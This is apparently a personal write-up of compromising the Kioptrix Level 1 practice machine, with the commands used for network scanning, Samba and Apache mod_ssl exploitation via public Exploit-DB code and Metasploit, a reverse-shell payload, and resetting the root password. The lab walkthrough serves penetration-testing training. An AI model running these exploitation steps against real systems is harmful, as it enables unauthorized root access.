Press enter or click to view image in full size
To begin the assessment, I started with network discovery to identify potential targets within the local subnet. I used the ARP protocol to enumerate active devices:
arp-scan -l
From the results, I discovered the target machine with the IP address 192.168.133.141
Press enter or click to view image in full size
Once the target was identified, I proceeded with a service and version detection scan using Nmap:
└─$ nmap -sV -O 192.168.133.141
The scan revealed six open ports running various services, including SSH, HTTP, HTTPS, RPC, NetBIOS, and Samba. Additionally, Nmap fingerprinting indicated the system was running Linux kernel 2.4.x, suggesting an older and potentially vulnerable operating system.
Press enter or click to view image in full size
After identifying that port 139/tcp (NetBIOS-SSN) was open, I decided to enumerate the Samba service to determine its exact version. This would help me confirm whether the service was vulnerable to known exploits.
Since Nmap did not reveal the version, I used Metasploit’s SMB scanner module:
Start Metasploit
└─$ msfconsole
Search for Samba-related modules
└─$ search samba
I am not found auxiliary but I search in google and find it with anther name
└─$ use auxiliary/scanner/smb/smb_version
I run command show options and I am find it want just ip of target
Set the target IP address
└─$ set RHOST 192.168.133.141
Run the module
└─$ run
Result:
Metasploit identified the target as running Samba 2.2.1a on Unix.
Press enter or click to view image in full size
After discovering that the target is running Samba 2.2.1a, I used Searchsploit (the Exploit-DB command-line tool) to look for publicly available exploits related to this version.
└─$ searchsploit samba 2.2.1a
Searchsploit returned multiple results, including the well-known trans2open buffer overflow exploit:
Press enter or click to view image in full size
The results showed a remote code execution exploit (trans2open
overflow, CVE-2003-0201).
Copy the Exploit Locally
└─$ searchsploit -m multiple/remote/10.c -o Desktop/10.c
This generated an executable named exploit
└─$ gcc Desktop/10.c -o exploit
After compiling the Samba exploit (10.c), I executed it against the target IP address using the following command:
└─$ ./exploit -b 0 192.168.133.141
Using the compiled Samba trans2open
exploit, I successfully executed remote code and gained root access to the target machine.
Press enter or click to view image in full size
Using Metasploit, I exploited the vulnerable Samba service on port 139/tcp via the trans2open
buffer overflow vulnerability.
└─$ use exploit/linux/samba/trans2open
└─$ set PAYLOAD linux/x86/shell_reverse_tcp
└─$ set RHOSTS 192.168.133.141
└─$ set RPORT 139
└─$ run
Press enter or click to view image in full size
Session 1
: 192.168.133.141:1025Session 2
: 192.168.133.141:1026Session 3
: 192.168.133.141:1027Session 4
: 192.168.133.141:1028Inside the shell, I ran:
id
Output:
uid=0(root) gid=0(root) groups=99(nobody)
Confirmed root-level access.
I attempted to change the root password:
passwd root
New password: 123
Retype new password: 123
192.168.133.141
80
mod_ssl
module on port 443
I began the enumeration by identifying open ports on the target machine. Port 80
(HTTP) was open, indicating a running web server. To discover hidden directories and files, I used the following tools:
└─$ dirb http://192.168.133.141/
└─$ nikto -h http://192.168.133.141/
Result:
No interesting files, directories, or vulnerabilities were discovered through web enumeration.
Next, I investigated potential vulnerabilities in the Apache version and SSL module using Searchsploit
:
searchsploit apache mod_ssl
Press enter or click to view image in full size
This revealed several known exploits for Apache mod_ssl
, specifically for versions prior to 2.8.7
in combination with vulnerable versions of OpenSSL.
I selected the following exploit:
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
I copied the exploit from ExploitDB using
└─$ searchsploit -m unix/remote/47080.c -o 47080.c
Compiled the exploit:
gcc 47080.c -o OpenFuck -lssl -lcrypto
Executed the compiled exploit against the target:
└─$ ./OpenFuck 0x6b 192.168.133.141 443 -c 10
apache
user:Press enter or click to view image in full size
This assessment demonstrates successful exploitation of the Kioptrix Level 1 machine through two critical vulnerabilities:
1- Samba 2.2.1a (CVE-2003–0201)
root
shell (UID 0)10.c
)2- Apache mod_ssl < 2.8.7 + OpenSSL (CVE-2002–0082)
apache
OpenFuckV2.c